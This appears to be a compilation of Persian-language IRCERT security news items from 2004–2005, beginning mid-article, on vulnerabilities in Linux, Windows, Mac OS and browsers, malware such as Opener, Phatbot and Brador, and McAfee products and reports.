مشکل امنیتی در بخش پردازش فایلهای تصویری در سایر سیستم عاملها نیز سابقه دارد. چندی پیش مایکروسافت مشکل امنیتی مشابهی در مدیریت قالب مشهور JPEG در سیستم عامل و برنامه کاربردی خود داشت و آن را اصلاح کرد. آن حفره نیز می توانست درصورت نمایش فایل تصویری آلوده در کامپیوتر، کنترل آن سیستم را در اختیار هکر قرار دهد.

نسخی از سیستم عامل لینوکس که از نسخ قدیمی GNOME استفاده می کنند و یا برنامه هایی که کد موجود در کتابخانه Imlib را به کار می برند، تحت تاثیر این مشکل قرار دارند.

گروه Gentoo و SuSE Linux اصلاحیه هایی را برای این مشکل ارائه کرده اند.


﻿ IRCERT - لینوکس در برابر حملات مقاومتر است - اخبارها و هشدارها

لینوکس در برابر حملات مقاومتر است

22 دسامبر 2004 - 2 دی 1383

Honeyney Project این هفته گزارش داد که سیستمهای لینوکس اصلاح نشده ( unpatched ) در مقابل حملات اینترنتی مقاومت بیشتری از خود نشان می دهند.

اطلاعات جمع آوری شده از دهها شبکه نشان می دهد که به طور متوسط یک سیستم لینوکس حدود 3 ماه مقاومت می کند. این آمار در سال 2001 ، 72 ساعت بوده است. در این گزارش این مدت زمان برای سیستم ویندوز بسیار کمتر و حتی در حد چند دقیقه ذکر شده است.

مدیر Honeynet دو دلیل را برای این امر بر می شمرد. اول این که مشخصه های پیش فرض نصب لینوکس نسبت به نسخ قبلی بسیار امن تر شده اند. ثانیا به نظر می رسد که هکرها به سیستمهای ویندوز تمایل بیشتری دارند و قصد فریب کاربران انتهایی را دارند که اکثرا از ویندوز استفاده می کنند.

Honetnets شبکه هایی هستند که به عنوان طعمه و برای حمله هکرها بر روی اینترنت قرار گرفته اند. این شبکه ها کاملا مانیتور می شوند و اطلاعات جمع آوری شده از این شبکه ها جهت بررسی آخرین تاکتیکهای حمله و نفوذ استفاده می شود.

مایکروسافت معتقد است درصورتی که سیستم عامل ویندوز XP این شرکت پس از نصب SP2 در معرض تست قرار گیرد بیش از سایر سیستم عاملها در برابر هکرها مقاومت خواهد کرد.


﻿ IRCERT - ویندوز امن تر از لینوکس است؟ - اخبارها و هشدارها

ویندوز امن تر از لینوکس است؟

۲۲ مارس ۲۰۰۵ – ۲ فروردین ۱۳۸۴

بنابر تحقیقی که با سرمایه گذاری مایکروسافت انجام شده است، شرکتهایی که سایتشان را روی سرورهای مبتنی بر لینوکس قرار می دهند، نسبت به رقبای ویندوزی در خطر تهدید بیشتری قرار دارند.

بنابر گزارشی که محققین امروز منتشر کرده اند، در سال گذشته یک سرور وب مبتنی بر Windows Server 2003 نسبت به یک سرور مبتنی بر Red Hat Enterprise Linux ES3 با یک پیکربندی استاندارد مشکلات امنیتی کمتری داشته است.

همچنین این گزارش نشان می دهد که وب سرورهای ویندوزی روزهای خطر – تعداد روزهایی که یک حفره امنیتی شناخته شده اما اصلاحیه آن ارائه نشده است – کمتری نسبت به رقیب سورس باز خود داشته اند. نویسندگان این گزارش معتقدند نتایج این تحقیق هشداری است برای کاربران که بر اساس یک برداشت عمومی از امنیت یک سیستم عامل به دنبال آن نروند. این گزارش باعث ایجاد بحثهای داغی درباره این موضوع شده است.

مدیر تیم پاسخگویی امنیتی Red Hat در یک وبلاگ در پاسخ به این گزارش گفته است که تحقیق به صورت دقیق انجام نشده و حفره های مهم و جدی از حفره های کم اهمیت تفکیک نشده اند. Red Hat پاسخ رسمی به این گزارش نداده است.

در این تحقیق تعداد اصلاحیه های ارائه شده برای حفره های هر وب سرور در سال ۲۰۰۴ شمارش شده است. همچنین تعداد کل روزهای خطر برای هر وب سرور نیز در سال ۲۰۰۴ شمارش شده و مجموع ارائه شده است. بنا بر این گزارش سرور Red Hat در این مقایسه حدود ۱۲ هزار روز خطرداشته، در حالی که رقیب ویندوزی تنها ۱۶۰۰ روز خطر داشته است.

همچنین در این گزارش آمده است که یک وب سرور سورس باز Apache مبتنی بر Red Hat با دیتابیس MySQL و زبان اسکریپت نویسی PHP در پیکربندی پیش فرض دارای ۱۷۴ حفره امنیتی بوده است در حالی که یک وب سرورIIS 6 مبتنی بر ویندوز سرور ۲۰۰۳ با استفاده از Microsoft SQL Server 2000 و ASP.Net در پیکربندی پیش فرض خود تنها ۵ مشکل امنیتی داشته است.

همچنین محققان با در نظرگرفتن حداقل پیکربندی لازم و حذف برنامه های کاربردی غیر لازم مجددا این دو رقیب را مقایسه کرده اند که بازهم ویندوز با ۵۲ حفره در مقابل ۱۳۲ حفره لینوکس پیروزشده است.

مدیر تیم امنیتی لینوکس در پاسخ به این انتقاد می گوید:« تنها ۸ حفره در Red Hat Enterprise Linux 3 در رده critical قرار دارند و سه چهارم این حفره ها طی یک روز ترمیم شده اند و میانگین تنها ۸ روز است.»

مشکلات امنیتی critical عموما به مشکلاتی اطلاق می شود که به یک هکر اجازه می دهند تا کنترل یک کامپیوتر را از راه دور در اختیار بگیرد. البته تحقیق مورد نظر حفره ها را به سه رده خطر high ، medium و low تقسیم بندی کرده است. مشکلاتی که درجه high را کسب کرده اند، حفره هایی هستند که یا در رده critical گنجیده اند و یا به کاربران محلی اجازه دسترسی به توابع سیستم را می دادند. بنابر این گزارش مایکروسافت در هر دو پیکربندی پیش فرض و حداقل، مشکلات امنیتی کمتری با درجه high داشته است.

محققان اذعان کرده اند که هزینه این تحقیق را مایکروسافت پرداخته است.


﻿ IRCERT - زیر سوال رفتن امنیت لینوکس - اخبارها و هشدارها

زیر سوال رفتن امنیت لینوکس

7 آوریل – 19 فروردین

نتایج جدیدترین مطالعه موسسه تحقیقاتی فرستر نشان می‌دهد که سیستم عامل لینوکس الزاما امن‌تر از ویندوز نیست. همچنین مشخص شده است پوشاندن حفره‌های امنیتی توسط توزیع کنندگان لینوکس به طور متوسط زمان بیشتری می‌گیرد، و این در حالی که پوشاندن حفره‌های ویندوز عموما دشوارتر است.

شرکت Red Hat به عنوان بزرگترین عرضه کننده محصولات لینوکس ادعا کرده است که با وجودی که مفروضات این تحقیق صحیح هستند ولی نتایجی که فرستر از آنها استنتاج کرده است معیار دقیقی از امنیت سیستم‌ها نیست. زیرا این تحقیق بین حفره‌های امنیتی بحرانی و مشکلات روزمره و غیر بحرانی تفاوتی قائل نشده ‌است.

گزارش فرستر می‌تواند به تلاش‌هایی که شرکت مایکروسافت برای کاهش نگرانی‌هایی که در ارتباط با محصولات این شرکت وجود دارد اعتبار بخشد. در رقابت بین شرکت‌های ارائه دهنده سیستم عامل، تاکتیک جدیدی استفاده شده که عبارت است از مقایسه زمان پوشش حفره‌های امنیتی در سیستم‌عامل‌های مختلف یا به عبارت دیگر «روزهای پرخطر» برای سیستم‌ عامل‌ها. مطابق این تاکتیک استدلال مایکروسافت بسیار ساده است؛ «سیستم‌ های Open Source نسبت به سیستم‌‌های ویندوزی تعداد روز‌های بیشتری در معرض خطر هستند».


﻿ IRCERT - اخبار و هشدارها - Mac رفع نشدن مشکلات

مشکلات Mac رفع نشد

25 مه – 5 خرداد

کارشناسان امنیتی می گویند که اصلاحیه امنیتی عرضه شده توسط شرکت Apple نتوانسته
حفره های امنیتی سیستم عامل Mac را بپوشاند. این حفره ها به هکر اجازه می دهد تا یک برنامه خطرناک را به یک سیستم عامل Mac منتقل کند و آن را اجرا کند. البته برای انجام این نفوذ لازم است هکر به گونه ای کاربر را قانع کند تا به سایتی که این برنامه خطرناک روی آن قرار گرفته سری بزند.

کارشناسان معتقدند که این مهمترین حفره امنیتی کشف شده در این سیستم عامل است. گفته می شود که اصلاحیه ارائه شده برخی مشکلات را مرتفع کرده اما حفره ها را کامل نپوشانده است. شرکت امنیتی Secunia با مطالعه دقیق تر این حفره ها میزان خطر را به extremely critical افزایش داده است و اعلام کرده است که این گستردگی حفره ها بیش از آن چیزی است که Apple تصور کرده است. Apple اظهار نظری در این باره نکرده است.

مشکل امنیتی موجود در واقع از دو حفره تشکیل می شود.اولین حفره به یک سایت اجازه می دهد تا زمانی که یک کاربر سیستم عامل Mac روی یک URL کلیک می کند ، فایلی را روی هارد وی قرار دهد. دومین حفره به هکر اجازه می دهد تا با دانستن مسیر یک فایل روی کامپیوتر فرد دیگر، آن را اجرا کند. ویروسهامی توانند با به کار گرفتن هر دو حفره ، از طریق ایمیل و یا instant-messaging خود را توزیع کنند.

کارشناسان می گویند که پوشاندن این حفره ها به سادگی میسر نیست ، چون Mac از این خصوصیات جهت انجام بعضی برنامه های کاربردی خود استفاده می کند و در واقع این حفره ها کاربردهای مفیدی برای Mac دارد. لذا درصورت پوشاندن آنها بعضی برنامه ها نیز با مشکل روبرو می شوند.

حفره های پیشین کشف شده در Mac به مشکلات امنیتی پایه اصلی سیستم عامل آن یعنی سیستم عامل FreeBSD که مبتنی بر یونیکس است بازمی گشت اما این حفره های جدید در کد خود سیستم عامل Mac وجود دارند.


﻿ IRCERT - مقالات - Macدو حفره امنیتی تازه در

دو حفره امنیتی تازه در Mac

18 مه – 29 اردیبهشت

یک متخصص امنیتی دو حفره را در سیستم عامل Mac کشف کرده که درصورتی که باهم به کار گرفته شوند به یک هکر اجازه می دهند تا برنامه ای خطرناک را روی Mac قرار دهد و آن را اجرا کند.

این حفره ها می توانند برای ایجاد ویروسی که از طریق لینک ارسالی در ایمیلها پخش می شود مورد استفاده قرار گیرد. البته هکر مجبور خواهد بود تا سایتی را با برنامه نویسی خاصی ایجاد کند. متخصصی که این حفره ها را کشف کرده، با نام مستعار lixlpixel فعالیت می کند. وی Apple را در اواخر فوریه از وجود این حفره ها آگاه کرده است اما این شرکت جوابی به وی نداده است. Apple پاسخی به این اخبار نداده است و تنها طی بیانیه ای اعلام کرده که این گزارشات از نظر این شرکت بسیار جدی است و Apple در حال بررسی این مشکل امنیتی است. پیش از این دوبار از این شرکت به خاطر عدم توجه و پاسخگویی به مشکلات امنیتی انتقاد شده بود.

شرکت خدمات اطلاعات امنیتی Secunia درجه اهمیت این حفره ها را بسیار جدی ذکر کرده است که علت آن روشهای مختلف ممکن جهت سوء استفاده از این حفره ها است. این شرکت به کاربران Mac توصیه کرده است که از رفتن به سایتهای ناشناس خودداری کنند.


﻿ IRCERT - اخبار و هشدارها - Mac تهدیدی تازه برای کاربران

تهدیدی تازه برای کاربران Mac

25 اکتبر 2004 - 4 آبان 1383

هفته گذشته، یک تهدید امنیتی مبتنی بر اسکریپت که می تواند به جاسوسی کاربران Mac بپردازد، توجه متخصصان امنیتی را جلب کرد.

این ابزار که Opener نام گرفته است، می تواند فایروال درونی سیستم عامل Mac را غیرفعال کند، اطلاعات شخصی را سرقت کند و یا داده ها را از بین ببرد. البته درحال حاضر میزان خطر آن بالا نیست.

متخصصان امنیتی می گویند که چنین تهدیداتی برای سیستم عامل ویندوز کاملا معمول است اما کاربران Mac تا به حال با آن بیگانه بوده اند.

پائول داکلین - مدیر بخش فناوری منطقه خاور دور شرکت Sophos - می گوید که این نرم افزار - که Sophos نام آن را Renepo گذارده است - برای تحت تاثیر قرار دادن درایوهای یک سیستم آلوده Mac طراحی شده است و کامپیوترهای قربانی را در برابر حملات بعدی بدون دفاع باقی می گذارد.

داکلین اضافه می کند که این نرم افزار فایروال داخلی Mac را غیرفعال می کند، یک درپشتی برای نویسنده خود باز می کند تا روی سیستم قربانی کنترل داشته باشد، تمامی کلمات عبور ذخیره شده روی هارد را می یابد و یک نرم افزار شکننده کلمات عبور با نام JohnTheRipper را دریافت می کند.

Opener در رده ابزارهای rootkit به شمار می آید؛ نرم افزارهایی که به هکرها اجازه می دهند تا کنترل کامپیوتر را در دست بگیرند و معمولا از طریق یک حفره شناخته شده یا با شکستن کلمه عبور نصب می شوند. Rootkit مانند ویروس به صورت خودکار منتشر نمی شود و برای نصب نیاز به دسترسی مدیر سیستم (administrator) دارد.

بنا به گفته داکلین، Opener سعی می کند تا با کپی کردن خود به تمامی درایوهای متصل به سیستم آلوده ، گسترش پیدا کند. این درایوها می توانند داخلی، روی شبکه محلی یا حتی روی یک کامپیوتر با فاصله دور باشند.

در اواخر دهه 1980 خطر ویروسها برای Mac بیش از کامپیوترهای شخصی بود اما بتدریج ویروسی برای این سیستم عامل تولید نشد به همین دلیل بود که بعضی شرکتهای ضدویروس تولید نرم افزارهای خود برای این سیستم عامل را متوقف کردند.

شما می توانید جزئیات بیشتری را درباره Opener روی این سایت بیابید.


﻿ IRCERT - همه مرورگرها مشکل امنیتی دارند - اخبارها و هشدارها

همه مرورگرها مشکل امنیتی دارند

20 اکتبر 2004 - 29 مهر 1383

امروز شرکت Secunia به اکثر تولیدکنندگان مرورگرهای اینترنت هشدار داد و آنها را از وجود یک حفره امنیتی در محصولاتشان آگاه کرد. این شرکت اطلاعاتی را منتشر کرده است که در آن به وجود مشکل امنیتی درمشخصه tabbed browsing در مرورگرهای مختلف موزیلا، اپرا ، Konqueror که برای لینوکس استفاده می شود و دو plug-in مورد استفاده در مرورگر IE برای اضافه کردن مشخصه فوق، اشاره شده است.

یکی از این مشکلات امنیتی می تواند به یک سایت آلوده که در یک tabbed window باز شده است، اجازه دهد تا به اطلاعات تایپ شده در یک tabbed window دیگر دسترسی پیدا کند. مشکل دیگر به یک سایت اجازه می دهد تا دیالوگ باکسی را باز کند که به ظاهر به سایت باز شده در tabbed window تعلق دارد.

Secunia توصیه کرده است که کاربران جاوا اسکریپت را غیرفعال کنند و یا در هنگام بازدید از یک سایت غیرقابل اعتماد، همزمان از یک سایت قابل اعتماد نیز بازدید به عمل نیاورند.

این مشکل در آخرین نسخه Konqueror که سه شنبه منتشر شده مرتفع شده است. همچنین موزیلا نیز قول داده است که در زمان عرضه Firefox 1.0 ، یعنی دو هفته آینده ، این مشکل را برطرف خواهد کرد. اپرا هنوز اظهار نظری درباره این مشکل امنیتی نکرده است.

دو مشکل نیز در IE مشاهده شده است. اولی که به مشکل ماه آگوست بر می گردد، امکان گذاردن کد HTML را بر روی سیستم قربانی فراهم می کند. اما دومی که خطرناکتر است می تواند مکانیزمهای امنیتی ایجاد شده توسط SP2 را پشت سر بگذارد و مستندات HTML را روی سیستم قربانی اجرا کند. با به کارگیری هر دو حفره، یک هکر می تواند از طریق یک سایت آلوده فایلها را روی سیستم هدف قرار دهد و اجرا کند. مایکروسافت اعلام کرده است از آنجا که ابتدا باید کاربر را قانع کرد تا از سایتی بازدید به عمل آورد و سپس وی را به انجام اعمالی خاص روی سایت ترغیب کند، امکان بروز چنین حمله ای زیاد نیست.

کارشناسان معتقدند حفره های شناسایی شده در IE مهمتر و خطرناکتر از حفره های معرفی شده در سایر مرورگرها است.


﻿ IRCERT - اخبار و هشدارها - JPEGخطر فایلهای

فایلهای JPEG هم خطرناکند!

14 سپتامبر 2004 - 24 شهریور 1383

مایکروسافت امروز اصلاحیه ای را منتشر کرد که یک مشکل امنیتی جدی و مهم را در نرم افزار نمایش دهنده فیلهای JPEG را پوشش می دهد و به مشتریان خود هشدار داد که از یک ابزار جدید استفاده کنند تا برنامه های زیادی را که در برابر این حفره آسیب پذیرند شناسایی کنند.

این مشکل که به سیستم عامل های مایکروسافت و نرم افزار پردازش کننده فایلهای پر استفاده JPEG برمی گردد ، به هکر اجازه می دهد تا یک فایل تصویری ایجاد کند که به محض نمایش، کدی خطرناک را روی کامپیوتر قربانی اجرا کند.از آنجایی که مرورگر مایکروسافت یعنی IE دارای این حفره امنیتی است، ممکن است کاربران ویندوز تنها با دیدن یک سایت که تصاویر آلوده دارد ، به دام هکرها بیافتند.

متخصصان امنیتی نگران هستند که با توجه به اهمیت این مشکل، ممکن است ویروسی در راه باشد که از همین طریق خود را منتشر کند.

مدیر بخش تحقیقات McAfee پتانسیل چنین حمله ای را بسیار بالا می داند، گرچه اذعان دارد که هنوز کدی را که بتواند از این حفره استفاده کند ندیده است.

این مشکل بسیاری از برنامه ها و سیستم عاملهای مایکروسافت را تحت تاثیر قرار داده است. از آن جمله می توان به ویندوز XP ، ویندوز سرور 2003، ‌آفیس XP ، آفیس 2003، Internet Explorer 6 SP1 ، Project ،‌Visio ، Picture It و Digital Image Pro اشاره کرد.مایکروسافت لیست کامل نرم افزارهای دارای مشکل را در سایت خود در یک راهنمایی امنیتی ارائه کرده است. SP2 ارائه شده برای ویندوز XP دارای این مشکل نیست.

استفان تولوز - مدیر برنامه امنیتی مرکز پاسخگویی مایکروسافت - مشکل عمده را ناشی از آن می داند که این مشکل با بسیاری از محصولات در بین کاربران منتشر شده است. مایکروسافت یه همین دلیل مجبور شده است ابزاری جداگانه را ارائه کند تا کاربران را در به روز رسانی سیستمشان یاری کند. کسانی که از Windows Update استفاده می کنند نیز ابتدا به Office Update و پس از آن به ابزاری جهت یافتن و به روز رسانی برنامه های نمایش و تولید تصاویر هدایت می شوند. بنا به گفته تولوز این ابزار نمونه ای از کارهای آتی مایکروسافت است. وی می گوید:“ یکی از مهمترین خواسته های کاربران از ما، ساده تر کردن روال به روز رسانی است. ما نیز به دنبال یک مکانیزم یکتا برای به روز رسانی هستیم.“

تولیدکنندگان لینوکس تا به حال این کار را انجام داده اند و اصلاحیه ها علاوه بر هسته سیستم عامل ، برنامه های کاربردی را نیز پوشش می دهند. البته از آنجایی که تولیدکنندگان بسیاری از نرم افزارها شرکتهایی غیر از مایکروسافت هستند، ایجاد چنین مکانیزمی مشکل به نظر می رسد.

مشکل موجود در پردازش JPEG به یک برنامه امکان می دهد تا در یک فایل تصویری مخفی شود و بر روی کامپیوتر قربانی اجرا شود. این مشکل ارتباطی با حفره ای که در ماه آگوست پیدا شده بود ندارد. آن حفره که به دلیل وجود مشکلی در توابع کتابخانه ای طراحی شده برای قالب PNG یا Portable Network Graphics بروز کرده بود و برنامه های اجرا شده بر روی ویندوز ، لینوکس و Mac OS X را تحت تاثیر قرار می داد. هر دو قالب JPEG و PNG در سایتها زیاد مورد استفاده قرار می گیرند.

مشکل دیگری که امروز مایکروسافت طی یک اصلاحیه به آن پرداخته است مربوط به مبدل فایل WordPerfect در آفیس ،‌Publisher و Works است. این مشکل از نظر مایکروسافت دارای درجه خطر Important است که پس از Critical در رتبه دوم اهمیت قرار دارد. اگر کاربر یک سند آلوده WordPerfect‌را باز کند، هکر خواهد توانست کنترل سیستم وی را در دست بگیرد. راهنمایی امنیتی مرتبط با این موضوع در سایت مایکروسافت منتشر شده است.


﻿ IRCERT - یک کرم خطرناک کامپیوتری شناخته شد - اخبارها و هشدارها

یک کرم خطرناک کامپیوتری شناخته شد

17 مارس – 27 اسفند

یک برنامه کامپیوتری جدید شناسایی شده است که می تواند با کنترل کامپیوترهایی که دور از هم قرار دارند , شبکه هایی را ایجاد کند تا با استفاده از آن شبکه ها به انجام حملات آنلاین , ارسال ایمیل های مزاحم و انجام سایر فعالیتهای پنهانی اقدام کند.

این برنامه که با نام phatbot یا polybot شناخته می شود از فناوری مورد استفاده در شبکه های اشتراک فایل مانند Gnutella و Kazaa برای کنترل ماشینها استفاده می کند. Bot مخفف عبارت software robot است و برای نرم افزارهای خودکار به کار برده می شود.

هنگامی که برنامه راه خود را به کامپیوتر قربانی پیدا کند , بر روی شبکه ها گسترده می شود و بدنبال کلمات عبوری که بر روی هارد دیسک قربانی ذخیره شده اند و در شبکه داخلی در حال عبور هستند , می گردد. همچنین این کرم برنامه های ضدویروس را غیرفعال می کند.

کارشناسان شرکت Network Associates درجه خطر phatbot را پایین ارزیابی کرده اند اما خاطر نشان کرده اند که این کرم پتانسیل تبدیل شدن به یک کرم خطرناک را دارد چون می تواند از روشهای گوناگونی خود را منتشر کند.

Phatbot مشابه و نمونه دیگری از برنامه agobot یا gaobotاست. این کرم ار مشکلات امنیتی موجود در سیستم عامل ویندوز که قبلا توسط ویروسهایی مانند MyDoom شناسایی شده اند , استفاده می کند. این گونه برنامه ها معمولا می توانند بر روی کامپیوتر هایی که اصلاحیه های امنیتی بر روی آنها نصب نشده و ویروس کش آنها به روز نشده اند , در پشتی باز کنند.


﻿ IRCERT - برنامه ای خطرناک برای کامپیوترهای جیبی - اخبارها و هشدارها

برنامه ای خطرناک برای کامپیوترهای جیبی

5 آگوست 2004 – 15 مرداد 1383

شرکتهای ضدویروس امروز اعلام کردند که یک اسب تروای خطرناک با هدف آلوده ساختن کامپیوترهای جیبی پدیدار شده است اما درجه خطر این تروا نسبتا پایین گزارش شده است.

این اسب تروا که با نامهای Backdoor.Bardor.A و WinCE.Brador.a شناخته می شود، به هکر اجازه می دهد تا کنترل کامل دستگاه را به دست بگیرد. این برنامه، اولین تروای شناخته شده برای کامپیوترهای جیبی است. اما این برنامه ها نمی توانند خود را منتشر کنند و باید به عنوان فایلهای الحاقی به ایمیل یا روشهای مشابه پخش شوند که این مسئله خود باعث کاهش میزان خطر آنها می شود.

Symantec کمترین میزان خطر یعنی 1 از 5 را به این اسب تروا اختصاص داده است. این شرکت به کاربران توصیه کرده تا فایلهای فرستاده شده از منابع ناشناس را باز یا اجرا نکنند. بنا به گفته Symantec این خطر تنها دستگاههایی را که از پروسسور ARM و سیستم عامل Pocket PC مایکروسافت استفاده می کنند، تهدید می کند.

ماه گذشته، متخصصان اولین ویروس نوشته شده برای Windows CE را شناسایی کردند. البته این ویروس بیشتر برای اثبات نظریه امکان انتشار ویروس بر روی این سیستم عاملها نوشته شده بود.

البته کارشناسان امنیتی پس از شناسایی اولین ویروس منتظر تولد ویروسهای جدی برای PDA ها بودند. بنابه گفته متخصصان WinCE.Brador یک برنامه کامل و خطرناک است که به عنوان یک اسب تروا، امکانات تخریبی را به صورت کامل دارد.

گفته می شود احتمالا نویسنده این ویروس یک فرد روسی است و حاضر است client مربوط به این تروا را به افرادی که مایل باشند بفروشد. خریداران خواهد توانست کنترل سیستهای آلوده را در دست بگیرند. این خریداران می توانند سیستمهای آلوده را به هکرها برای انجام حمله یا ارسال اسپم اجاره دهند.

البته تا به حال حملات چندانی بر روی تلفنهای همراه و کامپیوترهای دستی انجام نشده اما شرکتها ضدویروس و تولیدکنندگان سخت افزار سعی دارند با ارائه محصولات امنیتی و ضدویروس برای مقابله با چنین حملاتی آماده باشند.

مایکروسافت اعلام کرده است که در حال بررسی ویروس کشف شده است. این شرکت با اشاره به این که گزارشی مبنی بر آلوده شدن هیچ یک از کاربران دریافت نکرده است ، به آنها توصیه کرده نرم افزار ضدویروس را روی سیستم خود نصب کنند و امکانات حفاظتی کلمات عبور را نیز فعال نمایند.


﻿ IRCERT - با کمک گوگل حفره یابی می کند - اخبارها و هشدارها McAfee

McAfee با کمک گوگل حفره یابی می کند

10 ژانویه 2005 - 21 دی 1383

McAfee ابزاری را ارائه کرده است که با استفاده از گوگل و انجام جستجوهای خودکار سعی می کند تا حفره های امنیتی را در سایتها بیابد.

SiteDigger 2.0 که امروز ارائه شده است، با ارسال پرس و جو های خاصی به پایگاه داده گوگل اطلاعاتی را درباره وضعیت امنیتی سایتها به دست می آورد. این پرس و جوها که Google hacking نام گرفته اند، می تواند حفره های قابل نفوذ و اطلاعات حساس مانند شماره کارت اعتباری و اطلاعات حساب را مشخص کند.

یکی از مدیران McAfee معتقد است که این ابزار به مدیران شبکه ها کمک می کند تا اطلاعات امنیتی سایتهای خود را بیابند. وی می گوید:“ ما این ابزار را جهت اطلاع رسانی ارائه کرده ایم. SiteDigger مشکلاتی را برای مدیران شبکه ها مشخص می کند که ممکن است بدون آن نتوانند پیدا کنند.“

البته این ابزار نمی تواند تشخیص دهد که کاربر آن یک مدیر شبکه است که به شکلی مجاز از آن استفاده می کند یا یک هکر است که به دنبال نقاط ضعف شبکه برای نفوذ می گردد.

اخیرا کرم Santy از گوگل استفاده کرده بود تا کامپیوترهای قابل نفوذ را بیابد و پس از آن سیستم ها را آلوده کند. ابزارهای مشابهی توسط گروه های تحقیقاتی برای یافتن مشکلات امنیتی ایجاد شده است.

گوگل هنوز اظهار نظری درباره این ابزار نکرده است.


﻿ IRCERT - و به روز رسانی روزانه - اخبارها و هشدارها McAfee

McAfee و به روز رسانی روزانه

14 فوریه 2005 - 26 بهمن 1383

شرکت امنیتی McAfee امروز اعلام کرده است که قصد دارد دیتابیس ویروس یاب خود را روزانه به روز رسانی کند و سایتی را برای ارئه اطلاعات تهدیدها، مخاطرات و وقایع امنیتی راه اندازی خواهد کرد.

قائم مقام تیم پاسخگویی امنیتی این شرکت زمان اجرای این تصمیم را 24 فوریه ( 6 اسفند ماه ) اعلام کرد و پس از آن فایلهای داده تعریف ویروس یا DAT به جای هفتگی به ص.رت روزانه به روز خواهند شد. وی دلیل انجام این کار را درخواستهای مشتریان McAfee معرفی کرد. وی همچنین پاسخگویی سریع به تهدیدات روزافزون اینترنتی را دلیل دیگر به روز رسانی روزانه دانست.

سایت منتشر کننده اطلاعات و تهدیدات امنیتی این شرکت نیز با نام MyAvert از ماه مارس در دسترس کاربران قرار خواهد گرفت.

بسیاری از رقبای McAfee به صورت روزانه و حتی ساعتی فایلهای اطلاعاتی ضدویروس خود را به روز رسانی می کنند.


﻿ IRCERT - شرکت امنیتی بی سیم را می خرد - اخبارها و هشدارها McAfee

McAfee شرکت امنیتی بی سیم را می خرد

1 ژوئن 2005 - 11 خرداد 1384

شرکت امنیتی McAfee به زودی خریداری شرکت Wireless Security را اعلام خواهد کرد تا حضور بیشتری در بازار مصرفی امنیت بی سیم داشته باشد.

به گفته منابع مطلع، McAfee با تملک این شرکت نرم افزارهای امنیتی بیشتری را در حوزه مصرفی خواهد داشت ، تعداد خدمات امنیتی قابل ارائه خود را افزایش خواهد داد و به تامین کنندگان خدمات بیشتری سرویس ارائه خواهد کرد.

تا این لحظه امکان کسب نظر از سخنگویان دو شرکت فراهم نشده است.

پیش از این شرکت Wireless Security فناوری لازم برای سیستم McAfee wi-fiscan را در اختیار شرکت McAFee قرار می داد. این سرویس به مشتریان و شرکتهای کوچک اجازه می دهد تا اتصالات و تجهیزات سخت افزاری شبکه بی سیم خود را جهت تشخیص نفوذگران غیرمجاز کنترل کنند.

ممکن است McAfee بتواند برای این فناوری مشترک بپذیرد و از طرف دیگر آن را از طریق ارائه کنندگان خدمات اینترنت مانند AOL به مشتریان ارائه کند. البته باید دید که آیا کاربران حاضر خواهند بود پول اضافی برای این سرویس بپردازند یا خیر.

همچنین شرکت Wireless Security محصول WSC Guard را برای مشتریان شرکتی خود ارائه می کند. این محصول امکان تایید هویت، رمزنگاری ، به روز رسانی خودکار امنیتی و تشخیص نفوذ را برای مشتریان فراهم می آورد.

کارشناسان معتقدند ترکیب این دو شرکت می تواند راهی برای ارائه مناسب محصولات به بازار باشد.


﻿ IRCERT - بسته امنیتی 2005 را عرضه می کند - اخبارها و هشدارها McAfee

McAfee بسته امنیتی 2005 را عرضه می کند

8 نوامبر 2004 - 18 آبان 1383

شرکت McAfee با هدف پوشش دادن کاربران خانگی چند محصول اخیر خود را در قالب یک بسته امنیتی عرضه می کند.

امروز اعلام شد که بسته امنیتی MIS 2005 دارای محصولات به روز شده ضدویروس، ‌فایروال شخصی، Privacy Service و ضد اسپم است و برای مبارزه با ویروسها، هکرها، اسپمها و سایر خطرات آنلاین طراحی و عرضه شده است. همچنینی این مجموعه در برابر تهدیداتی که متوجه ابزارهای چت و IM است، نیز محافظت لازم را به عمل می آورد.

همچنین McAfee همکاری خود را با Hackerwatch.org آغاز کرده است تا کاربران خانگی بتوانند اطلاعات خود درباره مجرمان سایبر را به اشتراک بگذارند و از این اطلاعات گزارش گیری کنند.

اخیرا شرکتهای امنیتی سعی دارند تا با ارائه چند محصول در کنار هم امنیت بیشتری را برای کاربران و مشتریان خود ایجاد کنند. چند روز پیش Symantec نیز با ترکیب دو محصول خود امکانات امنیتی بیشتری را برای شرکتها به ارمغان آورده بود.

McAfee اعلام کرده است که امکان اسکن کردن ایمیل این نرم افزار به روز شده و می تواند فایلهای بزرگ مانند عکسهای دیجیتالی یا فایلهای موسیقی را پوشش دهد. همچنین یک تشخیص دهنده برنامه های جاسوسی به شکار برنامه هایی مانند keystroke loggers ، Web dialers و adware pop-ups می پردازد. فیلترهای تصویری و متنی نیز برای تشخیص کدهای مخفی اسپمرها فعال هستند.

بنابه گفته شرکت McAfee محصول جدید با ویندوز XP و SP2 سازگار است و قیمت آن 69.99 دلار است. هر یک از محصولات موجود در این بسته به طور جداگانه نیز عرضه می شود.


﻿ IRCERT - : ‌حفره های امنیتی، بدترین تهدیدات - اخبارها و هشدارها MyDoom

McAfee: ‌حفره های امنیتی، بدترین تهدیدات

25 آوریل 2005 - 5 اردیبهشت 1384

بنابر تحقیقات انجام شده توسط McAfee ، هنوز هم کامپیوترهای اصلاح نشده بزرگترین مشکل امنیتی دنیای IT به شمار می روند و تهدیداتی که حفره های این نرم افزارها را هدف قرار می دهند در صدر لیست تهدیدها قرار دارند.

در این گزارش که به بررسی تهدیدات طی فصل اول سال جاری میلادی پرداخته است، تیم پاسخگویی امنیتی McAfee گفته است که طی سه ماهه اول سال 2005، بیش از 1000 حمله جدید به حفره های امنیتی نرم افزارها انجام شده است که نشان از حدود 6 درصد افزایش نسبت به تعداد حملات در زمان مشابه در سال 2004 دارد. همچنین در این گزارش مشخص شده است که بیش از 200 هزار حمله مبتنی بر حفره ها در این سه ماهه انجام شده است.

McAfee اشاره کرده است که شرکتهای تولیدکننده نرم افزارها توانایی خود را جهت پاسخگویی به مشکلات امنیتی کشف شده و رفع این مشکلات افزایش داده اند اما بنابر تحلیلهای انجام شده حداقل 50 درصد از کامپیوترهای متصل به اینترنت به صورت کامل و مناسب اصلاحیه های منتشر شده را نصب نکرده اند.

